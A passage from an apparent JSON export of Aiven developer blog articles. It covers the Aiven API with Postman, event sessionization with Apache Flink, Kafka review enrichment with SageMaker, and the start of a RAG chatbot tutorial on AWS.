set the `powered` value to true or false to power off your services when you're not using them. This is especially handy for development platforms that only need to run while you are working, which is hopefully not all hours of the day. Please note that this [fully removes the service](https://aiven.io/docs/platform/concepts/service-power-cycle.html), and powering it on restores it from a backup. This can cause settings to reset.\n\n## Postman, APIs and Aiven\n\nWhether you use Postman for your day-to-day tasks, or use it as an excellent way to get to know a new API, the Aiven Postman collection gives you a way to get started quickly. \n\nLearn more about our API by checking out a [detailed blog post about using Aiven's API from cURL and Postman](https://aiven.io/blog/your-first-aiven-api-call), and the [Aiven API reference docs](https://api.aiven.io/doc/).\n\nThe Postman collection has just a handful of endpoints. [Tell us](https://twitter.com/aiven_io) what we should add there next! And let us know what you build, we love to see it (and we accept guest blog posts if it's something _really_ cool).\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nStruggling with the management of your data infrastucture? [Head to the Aiven Console to sign up for a free trial!](https://console.aiven.io/signup)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T14:01:47.197Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"d0fd6290e35a","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2022-11-22T14:43:00.000Z","seo":{"_type":"metaData","metaDescription":"Learn how to use Postman to take your first steps with the Aiven API. Discover its benefits and improve your workflows with our handy step-by-step guide!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a195373401da70d4cd915d32f729505175f9d8e6-1567x844-jpg","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/get-to-know-the-aiven-api-with-postman"},"subtitle":"Take your first steps with the Aiven API and Postman - and this handy step-by-step guide.","tags":[{"_key":"df6be175d37f","_ref":"21dab0f5-92ff-47e2-8b55-f60a736d22b9","_type":"tag"},{"_key":"f4fab1f6221d","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Get to know the Aiven API with Postman"} {"__i18n_lang":"en","_createdAt":"2024-02-09T10:33:42Z","_id":"4bf1e2ed-7340-491e-a22d-2e6b89994f2e","_rev":"AUoLUkEDo6CVeRx5srCmKx","_type":"devArticle","_updatedAt":"2024-02-09T13:36:53Z","body":"## Why sessions?\n\nGathering customer feedback outside a retail store is no longer necessary, but businesses still seek answers to familiar questions:\n\n* How did this user find us?\n* What actions did they take?\n* Which actions lead to revenue?\n* How do different channels affect purchasing patterns?\n\nThe challenge with online business is that you can’t directly ask customers these questions. Instead, you have to observe the answers using data. To achieve this, businesses implement user tracking technologies like Snowplow to monitor user clicks and track their online activity. However, analyzing individual events lacks value, as a singular 'checkout click' lacks context. To really understand user behavior, it is need to enrich the 'checkout click' event with details such as:\n\n* What was the page from which the customer clicked the checkout button?\n* How many items were in their cart?\n* How much time did they spend on the website prior to checkout?\n\nWe can answer these questions by defining a user session, and analyzing the data in that session.\n\n## What are sessions?\n\nA session is a collection of events from a single user with a start and end time. Sessions are meaningful entities useful for analytics or real-time applications such as monitoring or fraud prevention. Analyzing sessions provides valuable metrics that will help you understand your user journey, improve your product and ultimately drive growth.\n\nWhen aggregating raw event data to sessions it's typical to define a session window. The session window is the duration between each individual event, where those events are still part of the same session. For instance, if you define a 30 minute session window, this means that 30 minutes of idleness will end the session, and any actions after this belong to a new session. Because of this, the length of a session will never be fixed. The session window duration varies depending on your product, but typically the session window is highly correlated with the session duration. For example, a mobile payment app session is generally very short, while for a cloud service provider the session can be as long as a full working day. Many of the event-tracking products on the market use 30 minutes as a suitable default session window for web-based products. Understanding your product and users helps you define a suitable session window duration.\n\n## How to sessionize?\nDeciding how to organize events has implications for your data pipelines. The most common way to organize events is to do it in post-processing, once the data is in the storage system. The reason for this is that to create complete sessions covering all parts of your business, you have to first combine data from different sources like ads, websites, and mobile. Another way to organize events is to use the built-in tools from your event-tracking provider. This is common for web-based products and companies that may not have many resources or are still figuring out their data setup. The last way to organize events is during mid-process, using a framework that processes data as it comes in. This is common in tech-savvy companies that like to have flexibility and room to grow.\n\nModern technologies now let you organize events at different stages of the data journey, which helps with many different situations. Apache Kafka® is a good example of this kind of technology. It provides a standard way for your organization to work with data, promoting consistency and allowing for real-time event processing. In the Kafka world, there are tools like Apache Flink® that can handle events in real-time. Combining Kafka with Flink is a great way to capture, process (like creating sessions), and put your data into the storage system or other applications quickly.\n\n## Limits of the heads or tails approach\nSessionizing events on the client side has a significant drawback: the analyst manipulating the data has minimal control over the sessionizing logic, such as defining and experimenting with various session window durations. Client-side sessionization also fails to capture user journeys comprehensively. While suitable for simple web-based online shops, it falls short for products with multiple touchpoints (e.g., APIs, website, mobile, desktop apps). On the positive side, this approach is easy to set up, requiring a simple switch in your web tracking provider.\n\nIn the data warehouse, capturing sessions typically involves SQL scripts with window functions handling vast amounts of data. The downside of this method lies in its resource-intensive nature. Due to the unlimited duration of a session, it can be an expensive and slow operation. Furthermore, it lacks the ability to react to sessions in real-time. However, the upside is that the analyst retains complete control over data transformations and can experiment with different parameters. Lastly, in complex data landscapes, the data warehouse may be the only place where the organization can access data that holistically covers the business.\n\n\n## Solution: real-time transformation\nA better approach for sessionizing events is to use a stream processing framework on top of your event stream. For example, employing Apache Flink to process and transform events stored in Apache Kafka. Processing events in real-time and leveraging a stream processing framework like Flink generally offers the following benefits over the aforementioned alternatives:\n\n\n### More performant and reliable\nStream-processing frameworks, like Flink, are purpose-built for unbounded data streams. Flink only needs to process records for the duration of the session window. It achieves this by exposing key parameters that control event time handling and fault tolerance. This results in higher performance compared to a post-processing approach, where these methods don't exist. Moreover, Flink is designed for distributed processing, enabling scalability for workloads of all sizes.\n\n### Transformation in real-time\nFlink directly connects to your Kafka instance, enabling real-time data processing. Processed data can be written to a new topic, consumable by your data warehouse through a sink connector, or directly by your downstream application (e.g., a machine learning model).\n\n### Quick iteration with a rich SQL environment\nFlink provides an SQL API, allowing you to write SQL queries that specify how to manipulate the data. This is advantageous for data analysts who already possess these skills, facilitating technology adoption. Additionally, Flink offers a comprehensive set of operators and functions that prove useful when dealing with sessions, including event-time-based joins, window-based computations, and stateful processing.\n\n\n## Sessionizing with Apache Flink\nHere is an example of how to sessionize an event stream using Aiven for Apache Flink.\n\nCreate a landing table. When creating sessions it's required that your events contain a unique column for a user, and a timestamp for when the event occurred. In this example we use the datagen connector to help us create mock data to test the logic:\n\n```sql\nCREATE TABLE landing_table (\n user_id int,\n event_timestamp TIMESTAMP(3),\n WATERMARK FOR event_timestamp AS event_timestamp\n) WITH (\n 'connector' = 'datagen',\n 'rows-per-second' = '10',\n 'fields.user_id.min' = '0',\n 'fields.user_id.max' = '100'\n)\n```\n\nCreate a sink table using the blackhole connector.\n\n```sql\n\tCREATE TABLE sink_table (\n user_id INT,\n session_start TIMESTAMP(3),\n session_end TIMESTAMP(3),\n request_count BIGINT\n) WITH (\n 'connector' = 'blackhole'\n)\n```\n\nCreate a job which sessionizes the events, for the sake of the example I’ve defined a 10 second session window here.\n\n```sql\nINSERT INTO sink_table\nSELECT\n user_id,\n SESSION_START(event_timestamp, INTERVAL '10' SECOND) AS session_beg,\n SESSION_ROWTIME(event_timestamp, INTERVAL '10' SECOND) AS session_end,\n COUNT(*) AS event_count \nFROM landing_table\nGROUP BY user_id, SESSION(event_timestamp, INTERVAL '10' SECOND);\n```\n\n## The next step\nThe next step is passing this information to your application. For example, you might want to calculate the average session duration over a sliding window, to identify potential degradation of your service in real-time. \n\nFlink writes the output of your SQL job to a new topic. Applications can either directly read the data from this topic, or use one of the ready-made connectors for these use-cases. A common approach is to store the output in your data lake or data warehouse for long-term storage.\n\nFor a machine learning application, you might first transform the incoming data using Flink, then use the HTTP Sink Connector to send requests to an endpoint where your model is hosted. With every incoming record, this allows you to serve predictions in real time. For larger machine learning workloads that don’t require real time data, you might store the data in object storage using one of the many connectors (e.g. Google Cloud Storage sink) and then perform predictions in batches, triggered outside of Kafka.\n\n## Conclusion\nUnderstanding how your product is used is essential for your business to grow. Tracked events by themselves aren’t meaningful until you aggregate them on a level which makes sense to the business; that's why we aggregate individual events to sessions. A session is a collection of events from a single user, with a start and end time. Analyzing sessions gives you valuable metrics that help you understand your user journeys, improve your product and ultimately drive growth.\n\nEvent sessionization can happen on the client-side device itself, in the data warehouse, or in real-time using stream-processing tools like Apache Flink. Opting for real-time sessionization offers notable advantages compared to the other methods: enhanced performance and reliability, real-time transformation of data, and a feature-rich SQL environment for swift iteration.\n\nTo commence real-time event sessionization, begin by exploring [Apache Kafka](https://aiven.io/docs/products/kafka) and [Apache Flink](https://aiven.io/docs/products/flink) with [a free trial of Aiven](https://aiven.io/docs/platform/concepts/free-trial).\n\n\n\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-02-16T10:33:10.257Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"publishedAt":"2024-02-09T13:36:48.541Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The text \"How to sessionize events with Apache Flink®\" with the Aiven cuddly crab logo in the corner","asset":{"_ref":"image-906815e0731003069c3644d56116c4c9b9c7919d-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/sessionize-events-with-flink"},"subtitle":"Learn how to gather individual events into sessions, collections of events from a single user over a given time span, using Apache Flink®","tags":[{"_key":"1265259b2464","_ref":"665d1689-e4a5-43d5-bfbe-a673d66b1a41","_type":"tag"},{"_key":"581b02c14187","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"a771abc19328","_ref":"d0c7bf3b-528b-4883-ab1c-27409f645959","_type":"tag"},{"_key":"f9af667a1ca5","_ref":"a8aaad0e-643e-4a82-ac5f-a23492bdff54","_type":"tag"},{"_key":"6b1824d8e372","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}],"title":"How to sessionize events with Apache Flink®"} {"__i18n_lang":"en","_createdAt":"2024-05-08T12:49:35Z","_id":"4d249ba0-1b34-47af-8ff0-a5eae6a7d82a","_rev":"lMEtP1FuMP9IX2fXXb4ex8","_type":"devArticle","_updatedAt":"2024-05-09T12:33:57Z","body":"Are you on the lookout for events, anomalies, or just want automated heads-up on what's going on? You can use machine learning to get insights and make smarter decisions. By adding machine learning to your live data setup, you open up lots of analysis possibilities.\n\nIn this guide, we'll walk through an example using Amazon SageMaker Studio, a model and a Code Editor space to upgrade streaming data from an Apache Kafka® topic. Specifically, we'll be working with Amazon fine food reviews, adding categorisation and sentiment information as the data flows through Kafka. The results will be split into two topics: one for successful transformations and one for any issues that we encounter.\n\n## Repository\nTo make things easier for you to run, I've prepared [a repository](https://github.com/Aiven-Labs/product-reviews-enrichment) where you find multiple Jupiter notebooks with all code snippets that you need for this project. Instead of writing the code or copying snippets manually, you can simply clone the repo and run notebooks steps. Below I'll explain how to clone it within a SageMaker Code Editor space to use this repository alongside models that are deployed to SageMaker.\n\n## Data\nFor this tutorial we'll be using [a dataset of reviews of fine foods from Amazon](https://www.kaggle.com/datasets/snap/amazon-fine-food-reviews). Download the `Reviews.csv` file from [Kaggle](https://www.kaggle.com/datasets/snap/amazon-fine-food-reviews) and keep it handy, once we set up Code Editor space, add the file to [the project folder](https://github.com/Aiven-Labs/product-reviews-enrichment).\n\nAlternatively, feel free to adapt the tutorial for any data stream that you already have in place.\n\n\n## Step 1 - Set up Amazon SageMaker and Code Editor spaces\n\nIn this tutorial we'll be using SageMaker Studio for hosting AI models and running code.\nTo get started with Amazon SageMaker the best is to follow [the Amazon SageMaker documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/gs.html).\n\n### Create a Code Editor space\n\nOne of the convenient tools SageMaker Studio offers is Code Editor. Code Editor spaces are based on open source Visual Studio Code and allow to write, run and debug analytics code. They also allow an easy integration with the SageMaker models.\n\nTo create a Code Editor space go to Code Editor page and click on **Create Code Editor space**:\n\n![Create a Code Editor Space](https://cdn.sanity.io/images/sczeoy4w/production/61b4d7b153d6822a3f259b91ee7c77f3fa56b22b-3022x1050.png)\n\nChoose the name, wait till the space is deployed and run it. Then click to open a Visual Studio Code interface.\n\nHere you can clone [the repository with the code we'll need](https://github.com/Aiven-Labs/product-reviews-enrichment):\n\n![Clone repository](https://cdn.sanity.io/images/sczeoy4w/production/3c9e26dd1608107e1250fa4508790f1e00ee0d30-1762x1124.png)\n\nOnce the repository is cloned, move here the `Reviews.csv` file.\n\n## Step 2 - Set up an Apache Kafka cluster\nIf you don't have an [Aiven account](https://console.aiven.io/) yet, create it [by following these steps](https://console.aiven.io/signup). By registering you'll also get free credits that you can use to run this tutorial. Once registered, proceed to [the console](https://console.aiven.io/login) and create a new Aiven for Apache Kafka service.\n\n### Establish a secure connection to Apache Kafka\nTo access an Apache Kafka cluster and establish a TLS connection you need to have this information about your cluster:\n\n- service URI of your Apache Kafka cluster\n- files containing access key, access certificate and CA certificate of your Apache Kafka services.\n\nAll of those you can get from the landing page of your service:\n\n![Aiven for Apache Kafka credentials](https://cdn.sanity.io/images/sczeoy4w/production/d1feb17045a2d039ac31156394c3e19ae50db8a3-2548x1428.png)\n\nDownload the files and add them to [the certificates folder](https://github.com/Aiven-Labs/product-reviews-enrichment/tree/main/certificates). Keep the service URI handy, we'll need it in the next steps.\n\n### Add topics\n\nOnce the cluster is deployed and ready, go to **Topics** tab and add the following topics:\n- reviews - a topic with the raw review data\n- reviews_enriched - to be filled in with the analysis result \n- reviews_processing_errors - to collect information about any errors during data analysis.\n\n## Input data generation\n\nTime to load review data into an Apache Kafka topic. We'll use some python for this! You can run the script directly from Jupiter notebook [load-reviews.ipynb](https://github.com/Aiven-Labs/product-reviews-enrichment/blob/main/load-reviews.ipynb).\n\nFirst install `confluent_kafka` library to work with Apache kafka:\n\n```python\n!pip install confluent_kafka\n```\n\nNext set your `apache_kafka_uri` in the code and run: \n\n```python\nimport csv\nimport json\nfrom confluent_kafka import Producer, Consumer, KafkaError # to produce and consume data from Apache Kafka topics\nimport ssl\n\ncsv_file = 'Reviews.csv'\n\n# SSL context configuration\n# TODO: Load Apache Kafka certificates into certificates folder\napache_kafka_ssl_config = {\n 'ssl.ca.location': 'certificates/ca.pem', \n 'ssl.certificate.location': 'certificates/service.cert',\n 'ssl.key.location': 'certificates/service.key',\n 'security.protocol': 'ssl',\n}\n\napache_kafka_uri = '' # TODO: Set URI for Apache Kafka\n\napache_kafka_input_topic_name = 'reviews11'\n\nproducer = Producer({\n 'bootstrap.servers': apache_kafka_uri, \n **apache_kafka_ssl_config \n})\n\n# Read CSV file and send records to Kafka topic\nwith open(csv_file, newline='', encoding='utf-8') as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n # Convert each row to a JSON object\n record = {\n 'Id': row['Id'],\n 'ProductId': row['ProductId'],\n 'UserId': row['UserId'],\n 'ProfileName': row['ProfileName'],\n 'HelpfulnessNumerator': row['HelpfulnessNumerator'],\n 'HelpfulnessDenominator': row['HelpfulnessDenominator'],\n 'Score': row['Score'],\n 'Time': row['Time'],\n 'Summary': row['Summary'],\n 'Text': row['Text']\n }\n\n to_encoded_json = json.dumps(record).encode('utf-8')\n producer.produce(apache_kafka_input_topic_name, to_encoded_json)\n producer.flush()\n```\n\nThe reviews are now being loaded into the Apache Kafka topic `reviews`. You can already check the messages there by using Aiven console interface. Just go to the topic information and fetch messages:\n\n![Fetch messages](https://cdn.sanity.io/images/sczeoy4w/production/1804e0e6bb243ad57f4527ca678e34e134328981-2524x1460.png)\n\nWhile this is in progress we can move on and work on the next steps.\n\n## Step 3 - Deploy models\n\nIn this project we'll do two enhancement to our data:\n1. Run sentiment analysis and predict if a message is positive or negative\n2. Predict a category of a product that is being reviewed.\n\n## Sentiment analysis\nFor sentiment analysis we'll use AI and a model that is already available in the JumpStart section. Go to JumpStart page and search for \"text classification\":\n\n![Search for text classification in JumpStart](https://cdn.sanity.io/images/sczeoy4w/production/0eba64335d29d5c606caec591e551cab915c7d48-3014x1264.png)\n\nFor this tutorial select the first option **Text Classification** by HuggingFace and proceed to deploy it. I'd also recommend changing the endpoint name to easily find it later. For example, I called the endpoint `jumpstart-text-classification`:\n\n![rename-model-endpoint.png](https://cdn.sanity.io/images/sczeoy4w/production/32b74f8f011d754fd0e4657577afa60315dfe305-2324x1274.png)\n\n## Category prediction\nNext, we want to get a model that can predict most fitting categories of the product. For this we'll select another model that is already available via JumpStart, a zero-shot text classification model:\n\n![Selecting Zero-shot model](https://cdn.sanity.io/images/sczeoy4w/production/8795b9be37b9eeb53722accc7d6c34f3fdf9ec66-2352x1344.png)\n\nDeploy similarly to how we did it with the previous model. For the endpoint name use `jumpstart-zero-shot`.\n\n## Step 4 - Transform data and check the results\nNow that we have original review data flowing into Apache Kafka topi and AI models are running, time to process record by record and perform analysis on them.\n\nRun the steps from the [process-amazon-reviews.ipynb](https://github.com/Aiven-Labs/product-reviews-enrichment/blob/main/process-amazon-reviews.ipynb).\n\nInstall dependencies and import the libraries:\n\n```python\n!pip install confluent-kafka\n\nfrom confluent_kafka import Producer, Consumer, KafkaError # to produce and consume data from Apache Kafka topics\nimport boto3 # to programmatically create, configure, and manage AWS resources\nimport json # to work with social media messages that are represented as JSON objects\nimport re # for helper functionality to clean HTML tags from social media messages\n```\n\nTo work with the text classification model we need to define a mapping dictionary to map model labels to negative/positive label:\n\n```python\nlabel_mapping = {'LABEL_0': 'negative', 'LABEL_1': 'positive'}\n\ndef get_prediction(text):\n endpoint_name = 'jumpstart-text-classification' # TODO: Set endpoint name of your model for sentiment analysis\n client = boto3.client('runtime.sagemaker')\n query_response = client.invoke_endpoint(EndpointName=endpoint_name, ContentType='application/x-text', Body=text, Accept='application/json;verbose')\n model_predictions = json.loads(query_response['Body'].read())\n probabilities, labels, predicted_label = model_predictions['probabilities'], model_predictions['labels'], model_predictions['predicted_label']\n # Map the predicted_label to your the label using the mapping dictionary\n predicted_label = label_mapping.get(predicted_label, predicted_label)\n return probabilities, labels, predicted_label\n```\nTo predict categories of products with a help of a zero shot model we need to provide the model with possible category alternatives: \n\n```python\ncategories = [\n \"Snacks\",\n \"Coffee\",\n \"Beverages\",\n \"Condiments\",\n \"Canned Goods\",\n \"Bakery and Baked Goods\",\n \"Dairy Products\",\n \"Sweets and Desserts\",\n \"Breakfast Foods\",\n \"Grains and Pasta\",\n \"Protein Products\",\n \"Frozen Foods\",\n \"Health and Nutrition\",\n \"Baby and Toddler Food\",\n \"Pet Supplies\",\n \"Fruits and Vegetables\",\n \"Herbs and Spices\",\n \"Beverage Accessories\",\n \"Cooking Oils and Fats\",\n \"Ethnic and Specialty Foods\",\n \"Dietary Supplements\"\n];\ndef get_categories(text):\n endpoint_name = 'jumpstart-zero-shot' # TODO: Set endpoint name of your model for classification\n client = boto3.client('runtime.sagemaker')\n \n model_input = {\"sequences\": text, \"candidate_labels\": categories, \"multi_class\": True}\n query_response = client.invoke_endpoint(\n EndpointName=endpoint_name,\n ContentType='application/json',\n Body=json.dumps(model_input),\n Accept='application/json;verbose'\n )\n \n model_predictions = json.loads(query_response['Body'].read())\n \n # Filter categories with probabilities over 60%\n filtered_categories = [\n label_mapping.get(label, label)\n for label, score in zip(model_predictions['labels'], model_predictions['scores'])\n if score \u003e 0.6\n ]\n \n return filtered_categories\n```\n\nYou can test the category prediction with a phrase that combines multiple categories ;) \n\n```python\nprint(get_categories(\"very delicious coffee for my cat who likes to snack on tiramisu\"))\n```\n\nNow that we have functionality to run models, we can establish connection with Apache Kafka to read review records and process them.\n\nDefine Apache Kafka connection properties:\n\n```python\n# TODO: Load Apache Kafka certificates into certificates folder\napache_kafka_ssl_config = {\n 'ssl.ca.location': 'certificates/ca.pem', \n 'ssl.certificate.location': 'certificates/service.cert',\n 'ssl.key.location': 'certificates/service.key',\n 'security.protocol': 'ssl',\n}\n\napache_kafka_uri = '' # TODO: Set URI for Apache Kafka\n\napache_kafka_input_topic_name = 'reviews'\napache_kafka_enriched_output_topic_name = 'reviews_enriched'\napache_kafka_processing_errors_topic_name = 'reviews_processing_errors'\n```\nCreate an Apache Kafka consumer:\n\n```python\nconsumer = Consumer({'bootstrap.servers': apache_kafka_uri, 'group.id': 'mygroup', 'auto.offset.reset': 'earliest', **apache_kafka_ssl_config})\nconsumer.subscribe([apache_kafka_input_topic_name])\n\nCLEANR = re.compile('\u003c.*?\u003e') \n\ndef get_clean_content(json_object): \n content = json_object.get(\"Text\", \"\") # Retrieve 'content' property \n only_text = re.sub(CLEANR, '', content)\n return only_text\n```\n\nCreate an Apache Kafka producer:\n\n```python\nproducer = Producer({\n 'bootstrap.servers': apache_kafka_uri, \n **apache_kafka_ssl_config \n})\n\n# Send a message to a Kafka topic\ndef send_message(message, topic_name):\n producer.produce(topic_name, json.dumps(message).encode('utf-8'))\n producer.flush()\n \ndef send_enriched_data(message, probabilities, predicted_label, key_categories):\n message['probabilities'] = probabilities\n message['sentiment_predition'] = predicted_label\n message['categories'] = key_categories\n send_message(message, apache_kafka_enriched_output_topic_name)\n \ndef report_processing_error(message, error_code, error_message):\n message['processing_error_code'] = error_code\n message['processing_error_message'] = error_message\n send_message(message, apache_kafka_processing_errors_topic_name)\n```\n\nFinally read messages from the Apache Kafka `reviews` topic and push processed data back to `reviews_enriched` topic:\n\n```python\nprint(f\"Processing messages\")\nwhile True:\n message = consumer.poll(1.0) # Poll for messages, with a timeout of 1 second\n\n if message is None:\n continue\n\n if message.error():\n if message.error().code() == KafkaError._PARTITION_EOF:\n # End of partition event\n print(f\"Reached end of partition for topic {message.topic()} [{message.partition()}]\")\n else:\n print(f\"Error while consuming message: {message.error()}\")\n else:\n decoded = message.value().decode('utf-8')\n json_obj = json.loads(decoded)\n\n content_property = get_clean_content(json_obj)\n print(f\"Process the messagee: {content_property}\")\n if content_property == \"\":\n continue\n\n try:\n probabilities, labels, predicted_label = get_prediction(content_property)\n key_categories = get_categories(content_property)\n print(f\"Inference:\\n\"\n f\"Input text: '{content_property}'\\n\"\n f\"Model prediction: {probabilities}\\n\"\n f\"Predicted label: {predicted_label}\\n\"\n f\"Predicted key_categories: {key_categories}\\n\")\n\n send_enriched_data(json_obj, probabilities, predicted_label, key_categories)\n \n\n except Exception as e:\n print(f\"An error occurred: {e}\")\n response = getattr(e, \"response\", {})\n error_code = response.get(\"Error\", {}).get(\"Code\", \"Unknown\")\n error_message = response.get(\"Error\", {}).get(\"Message\", \"Unknown\")\n report_processing_error(json_obj, error_code, error_message)\n \n\n# Close the consumer\nconsumer.close()\n```\n\nAs we did before, you can see the processed messages by going to Aiven console and fetching the messages from `reviews_enriched`:\n![Example of enriched record](https://cdn.sanity.io/images/sczeoy4w/production/1c132ac6a682c90b4924f03aec0ba01c90b0fbca-1784x818.png)\n\nNote, that we now for this record we have a field \"Categories\" with an item \"Coffee\".\n\n## Clean up\nDon't forget to clean up the resources you've used. For Sagemaker you need to remove created endpoint, endpoint configuration, running models and Code Editor spaces. Check https://docs.aws.amazon.com/sagemaker/latest/dg/ex1-cleanup.html for more details.\n\nTo remove Aiven for Apache Kafka instance, on the landing page of your service in the Aiven console select \"Delete service\" from the menu:\n![Remove Aiven for Apache Kafka service](https://cdn.sanity.io/images/sczeoy4w/production/c303fef4890e4adca7f0bcaa30f1741d4bebfaa5-2484x598.png)\n\n## Next steps\nIf you're interested in other materials about Apache Kafka, be sure to check out:\n- [Apache Kafka® as source and sink with Apache Flink® to process streaming data](https://aiven.io/developer/kafka-source-sink-flink-integration)\n- [Stream Mastodon data to Apache Kafka® using NodeJS and TypeScript](https://aiven.io/developer/mastodon-kafka-js)\n\nIf you're curious to learn more things you can do with Aiven and AI look at:\n- [Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js](https://aiven.io/developer/movie-recommender-clickhouse-huggingface-nextjs)\n- [TensorFlow, PostgreSQL®, PGVector \u0026 Next.js: building a movie recommender](https://aiven.io/developer/building-a-movie-recommender)","feature":{"_type":"featuredItem","active":false,"endDate":"2024-05-15T12:45:24.130Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2024-05-08T12:33:46.704Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Enriching product reviews with Apache Kafka and Amazon SageMaker","asset":{"_ref":"image-fd7cb4f3281f7bfc200a6107c0206d2c06ee1ffb-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/enrich-product-reviews-amazon-sagemaker"},"subtitle":"Ever wondered how to enrich your real-time streaming data with machine learning-driven analysis?","tags":[{"_key":"7888f868add5","_ref":"f51c71a3-c228-4f3a-b57b-12c3b1c7fc73","_type":"tag"},{"_key":"1e527130c483","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"e4fb541f7961","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"a69dcc5c3064","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"}],"title":"Enriching product reviews with Apache Kafka® and Amazon SageMaker"} {"__i18n_lang":"en","_createdAt":"2024-05-08T12:27:07Z","_id":"99e530bc-a7ca-46f6-8600-3ac3f82681f4","_rev":"lMEtP1FuMP9IX2fXXb4PdS","_type":"devArticle","_updatedAt":"2024-05-09T12:32:48Z","body":"Retrieval-augmented generation (RAG) enriches large language models (LLMs) by incorporating an external knowledge source during predictions to provide more context, historical data, and relevant information. We can use it for a variety of cases:\n\n- providing real-time context such as current traffic conditions, weather or stock market fluctuations;\n- incorporating user-specific details like their recently viewed items on the website or preferences based on past interactions;\n- including relevant factual information from documents that were not in the LLM's training data, either due to privacy concerns or because of updates that were made after training. For example, updated medical research findings or market trends from industry reports.\n\nRAG offers a significantly cheaper and faster alternative to retraining or fine-tuning an existing model. That's why, RAG workloads are starting to be adopted across retail, financial services, and healthcare customers.\n\nIn this article we'll show you and example of such scenario, how you can create a chatbot to answer questions which require specific technical knowledge. \n\nTo create the chatbot we'll use **Amazon Bedrock** foundation models, **OpenSearch®** will play the role of a vector database and to create a pipeline we'll rely on **AWS Serverless Application Model**. The overall architecture can be split into two parts. First, we process each documentation entry to create an embedding and store in OpenSearch, next we set up a Lambda function to accept user's question, enhance the prompt by adding additional context and then pass it to LLM to retrieve an answer:\n\n![Diagram of the flow](https://cdn.sanity.io/images/sczeoy4w/production/0c72046755a74c382bb4f4be26fc85a94efcb730-2420x1152.png)\n\n## Prerequisites\n\nTo follow along you'll need:\n- access to AWS and sufficient permissions to deploy new services programmatically and access Amazon Bedrock foundation models;\n- a document set to be used as additional knowledge;\n- we'll be using Aiven for OpenSearch in this article and you'll need an Aiven account to create the service, follow [these instructions to create your account](https://console.aiven.io/signup).\n\nAll necessary code you'll find in [this github repository](https://github.com/Aiven-Labs/chatbot-opensearch-aws-knowledge-base). We recommend you clone the code to run the commands we'll describe below.\n\n## Step 1. Set up Aiven for OpenSearch®\nStart by creating [Aiven for OpenSearch](https://aiven.io/opensearch) service, this is where we store the embeddings for the documents.\n\n![Visualising template using Application Composer Canvas](https://cdn.sanity.io/images/sczeoy4w/production/cd2ff2b8aef335e88eb7413421ec43a9968ea821-2422x1284.png)\n\n## Step 2. Deploy a serverless application using AWS\n\n### AWS CLI and SAM CLI\n\nIf you don't have AWS CLI installed on your machine follow [these steps to set it up](https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html). \n\nWe'll also use AWS Serverless Application Model (AWS SAM) to simplify the process of deploying resources on AWS. Follow [these instructions](https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/install-sam-cli.html) to install SAM CLI.\n\nTo start using AWS CLI we need to configure it and provide authentication information:\n\n1. In the IAM dashboard create a new user.\n2. Attach a permission policy that will allow SAM CLI to deploy new resources through AWS CloudFormation (for example, you can use AdministratorAccess).\n3. Create access key for the user.\n4. Run `aws configure` and specify AWS Access Key ID and AWS Secret Access Key. \n5. We recommend you set **us-east-1** for the region to see the same models available through Bedrock\n\nNote, that these permissions are necessary to allow SAM CLI to deploy the resources while granular permissions for each resource are specified individually in SAM template.\n\n### Request model access from Amazon Bedrock \n\nAccess to Amazon Bedrock foundation models isn't granted by default. To get Go to Amazon Bedrock Model access. Click on \"Manage model access\" and select two items:\n\n1. `Titan Embeddings G1` that we need to convert our text documents into embeddings. \n2. Cohere command to create responses.\n\n![Manage model access in Amazon Bedrock](https://cdn.sanity.io/images/sczeoy4w/production/f89b4788e768572d6acd2a12769b2bbc7e6fe393-2878x1520.png)\n\n### Create a AWS SAM template\n\nTo create AWS pipeline and deploy all related resources together as a single entity we use AWS SAM. With AWS SAM we can list all resources and their requirements within SAM template. You can find the complete [template's code in the GitHub repo](https://github.com/Aiven-Labs/chatbot-opensearch-aws-knowledge-base/blob/main/template.yaml).\n\nThe most interesting part happens in the section **Resources**, where we specify which AWS services we want to deploy and with which settings. Let's go one by one and see what they do:\n\n**DocumentBucket** creates a storage bucket on Amazon S3. This is where we'll add documents with external knowledge. Whenever a new document is added, upload notifications are sent to an SQS queue. Additionally, here we block public access to the bucket and specify the rules for cross-origin resource sharing for security reasons.\n\n```yaml\n DocumentBucket:\n Type: \"AWS::S3::Bucket\"\n Properties:\n BucketName: !Sub \"${AWS::StackName}-${AWS::Region}-${AWS::AccountId}\"\n NotificationConfiguration:\n QueueConfigurations:\n - Event: 's3:ObjectCreated:*'\n Queue: !GetAtt EmbeddingQueue.Arn\n CorsConfiguration:\n CorsRules:\n - AllowedHeaders:\n - \"*\"\n AllowedMethods:\n - GET\n - PUT\n - HEAD\n - POST\n - 